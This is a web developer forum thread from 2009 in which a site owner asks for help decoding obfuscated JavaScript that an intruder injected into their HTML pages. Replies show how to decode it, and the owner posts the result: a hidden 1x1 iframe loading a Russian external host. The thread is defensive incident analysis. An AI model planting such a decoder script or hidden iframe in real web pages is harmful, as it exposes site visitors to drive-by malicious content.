/    Sign up×
Community /Pin to ProfileBookmark

Help decipher this obfuscation

Hi..

This code was inserted into the html files by someone gaining access to our small website. I have some basic programming knowledge, but don’t know much about js. Variables k1 and k2 appear to be random text in the original script, which I have replaced below, because I suspect it is later decoded in the while statements. I don’t want to post the original text, since I don’t know what it is when decoded. Can someone explain to me how to decode this? What is the purpose of this? There were also two inappropriate links added the html file, but I don’t think they are related to the script below.

Thanks in advance..

<script language=”javascript” type=”text/javascript”>

var k1=’Thisis89charactersofvarioustextincluding”$?>@thathavebeenremovedbecauseIdontknowhatitdoes’,

k2=’Thisis136charactersofvarioustextincluding”$?>@thathavebeenremovedbecauseIdontknowhatitdoesfillerfillerfillerfillerfillerfillerfillerfill’,

t1=0,

t2=0,

h=”;

while(t1<=k1.length-1){h=h+String.fromCharCode(k1.charCodeAt(t1++)-3);}

h=h+’bdjgazzazbzbbe’;

while(t2<=k2.length-1){h=h+String.fromCharCode(k2.charCodeAt(t2++)-2);}

document.write(h);

</script>

to post a comment
JavaScript

2 Comments(s)

Copy linkTweet thisAlerts:
@felgallMar 23.2009 — Replace the document.write(h) with alert(h) and you should be able to safely run it to find out what the decrypted code looks like without adding the result into the page.
Copy linkTweet thisAlerts:
@DhauffauthorMar 23.2009 — Thanks.. From what I can tell so far, it is an iframe hack. Below is the unscrambled result:

<div style="visibility:hidden;position:absolute;left:1;top:1"><iframe src="http://bdjgazzazbzbbe.users.iframecounter.ru/?s=1"frameborder=0 vspace=0 hspace=0 width=1 height=1 marginwidth=0 marginheight=0 scrolling=no></iframe></div>

Does anyone know what they are trying to do here?
×

Success!

Help @Dhauff spread the word by sharing this article on Twitter...

Tweet This
Sign in
Forgot password?
Sign in with TwitchSign in with GithubCreate Account
about: ({
version: 0.1.9 BETA 5.26,
whats_new: community page,
up_next: more Davinci•003 tasks,
coming_soon: events calendar,
social: @webDeveloperHQ
});

legal: ({
terms: of use,
privacy: policy
});
changelog: (
version: 0.1.9,
notes: added community page

version: 0.1.8,
notes: added Davinci•003

version: 0.1.7,
notes: upvote answers to bounties

version: 0.1.6,
notes: article editor refresh
)...
recent_tips: (
tipper: @AriseFacilitySolutions09,
tipped: article
amount: 1000 SATS,

tipper: @Yussuf4331,
tipped: article
amount: 1000 SATS,

tipper: @darkwebsites540,
tipped: article
amount: 10 SATS,
)...